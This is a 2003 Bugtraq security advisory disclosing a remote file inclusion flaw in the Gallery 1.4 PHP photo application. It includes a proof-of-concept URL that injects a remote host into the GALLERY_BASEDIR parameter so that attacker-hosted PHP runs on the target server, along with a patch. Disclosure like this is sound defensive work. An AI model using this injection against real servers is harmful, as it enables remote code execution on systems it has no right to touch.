[32051] in bugtraq

home help back first fref pref prev next nref lref last post

Gallery 1.4 including file vulnerability

daemon@ATHENA.MIT.EDU (Peter "Stöckli)
Sat Oct 11 14:57:05 2003

Date: 11 Oct 2003 16:13:00 -0000
Message-ID: <20031011161300.23724.qmail@sf-www3-symnsj.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Peter "Stöckli" <pcs@rootquest.com>
To: bugtraq@securityfocus.com



Gallery 1.4 including file vulnerability

-Background Information-
Gallery is a Web-based software product that lets you manage photos on any Web site that offers PHP support. With Gallery you can easily create and maintain albums of photos via an intuitive interface. Photo management includes automatic thumbnail creation, image resizing, rotation, ordering, captioning, searching, and more. Albums can have read, write, and caption permissions per individual authenticated user for an additional level of privacy. Gallery is installed on maybe 20000 Locations.

-Proof of concept-
It is possible to include any php file from a remote host, and execute it on the target's server.
This works:
http://victim/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://tester/
If the file "http://tester/util.php" exists, it will be included. This file could look like this if PHP isn't supported on the "tester"-host:

<?php echo "Vulnerable"; ?>

or like this, if PHP is supported on the "tester"-host:

<?php
echo "<?php die(\"Vulnerable\"); ?>";
?>

-Solution-
Change the following Lines in the index.php files in the setup folder:

if (!isset($GALLERY_BASEDIR)) {
	$GALLERY_BASEDIR = '../';
}

to this:

	$GALLERY_BASEDIR = '../';

-Related URLs-
http://gallery.sourceforge.net/
https://sourceforge.net/projects/gallery/

Peter Stöckli
RQ Labs
Rootquest
Switzerland

home help back first fref pref prev next nref lref last post